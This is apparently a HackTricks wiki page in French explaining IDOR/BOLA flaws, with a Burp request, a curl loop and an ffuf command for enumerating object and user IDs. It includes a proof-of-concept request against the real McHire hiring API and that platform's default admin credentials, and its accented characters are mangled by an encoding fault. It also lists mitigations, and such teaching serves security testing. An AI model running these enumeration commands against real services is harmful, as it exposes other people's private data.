IDOR (Insecure Direct Object Reference)
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaĂźt lorsquâun endpoint web ou API divulgue ou accepte un identifiant contrĂŽlable par lâutilisateur qui est utilisĂ© directement pour accĂ©der Ă un objet interne sans vĂ©rifier que lâappelant est autorisĂ© Ă accĂ©der/modifier cet objet. Lâexploitation rĂ©ussie permet gĂ©nĂ©ralement une horizontal or vertical privilege-escalation, comme la lecture ou la modification des donnĂ©es dâautres utilisateurs et, dans le pire des cas, un full account takeover ou une mass-data exfiltration.
1. Identifier les IDOR potentiels
- Cherchez des paramÚtres qui référencent un objet :
- Path:
/api/user/1234
,/files/550e8400-e29b-41d4-a716-446655440000
- Query:
?id=42
,?invoice=2024-00001
- Body / JSON:
{"user_id": 321, "order_id": 987}
- Headers / Cookies:
X-Client-ID: 4711
- Privilégiez les endpoints qui lisent ou mettent à jour des données (
GET
,PUT
,PATCH
,DELETE
). - Notez quand les identifiants sont sĂ©quentiels ou prĂ©dictibles â si votre ID est
64185742
, alors64185741
existe probablement. - Explorez les flux cachés ou alternatifs (par ex. le lien "Paradox team members" sur les pages de login) qui peuvent exposer des APIs supplémentaires.
- Utilisez une session authentifiĂ©e avec peu de privilĂšges et ne changez que lâID en gardant le mĂȘme token/cookie. Lâabsence dâune erreur dâautorisation est gĂ©nĂ©ralement un signe dâIDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
ĂnumĂ©ration automatisĂ©e (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Oracle de réponses d'erreur pour l'énumération utilisateur/fichier
Lorsqu'un endpoint de téléchargement accepte à la fois un username et un filename (par ex. /view.php?username=<u>&file=<f>
), de subtiles différences dans les messages d'erreur créent souvent un oracle :
- username inexistant â "User not found"
- filename invalide mais extension valide â "File does not exist" (parfois liste aussi les fichiers disponibles)
- extension invalide â erreur de validation
Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramÚtre username tout en conservant un filename bénin et filtrer sur la chaßne "User not found" pour découvrir des utilisateurs valides :
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., /view.php?username=amanda&file=privacy.odt
). Ce schéma conduit fréquemment à la divulgation non autorisée des documents d'autres utilisateurs et à credential leakage.
2. Real-World Case Study â McHire Chatbot Platform (2025)
Lors d'une évaluation du portail de recrutement McHire propulsé par Paradox.ai, l'IDOR suivant a été découvert :
- Endpoint:
PUT /api/lead/cem-xhr
- Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}
â identifiant numĂ©rique sĂ©quentiel de 8 chiffres
En diminuant lead_id
, le testeur a rĂ©cupĂ©rĂ© la full PII de candidats arbitraires (nom, e-mail, tĂ©lĂ©phone, adresse, prĂ©fĂ©rences d'horaires) ainsi qu'un consumer JWT qui a permis le session hijacking. L'Ă©numĂ©ration de la plage 1 â 64,185,742
a exposé environ 64 millions d'enregistrements.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combinée avec les identifiants admin par défaut (123456:123456
) qui donnaient accÚs au compte de test, la vulnérabilité a entraßné une fuite de données critique à l'échelle de l'entreprise.
3. Impact d'IDOR / BOLA
- Escalade horizontale â lire/mettre Ă jour/supprimer les donnĂ©es d'autres utilisateurs.
- Escalade verticale â un utilisateur peu privilĂ©giĂ© obtient des fonctionnalitĂ©s rĂ©servĂ©es aux administrateurs.
- Fuite massive de données si les identifiants sont séquentiels (p. ex., IDs de candidats, factures).
- Prise de compte en volant des tokens ou en réinitialisant les mots de passe d'autres utilisateurs.
4. Atténuations & bonnes pratiques
- Appliquer une autorisation au niveau des objets sur chaque requĂȘte (
user_id == session.user
). - Privilégier des identifiants indirects et non devinables (UUIDv4, ULID) au lieu des IDs auto-incrémentés.
- Effectuer l'autorisation cÎté serveur, ne jamais se fier aux champs de formulaire cachés ou aux contrÎles UI.
- Implémenter les vérifications RBAC / ABAC dans un middleware central.
- Ajouter du rate-limiting & logging pour détecter l'énumération d'IDs.
- Tester la sécurité de chaque nouvel endpoint (unit, integration, et DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner
,Blindy
(bulk IDOR hunting).
Références
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicantsâ PII
- OWASP Top 10 â Broken Access Control
- How to Find More IDORs â Vickie Li
- HTB Nocturnal: IDOR oracle â file theft
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.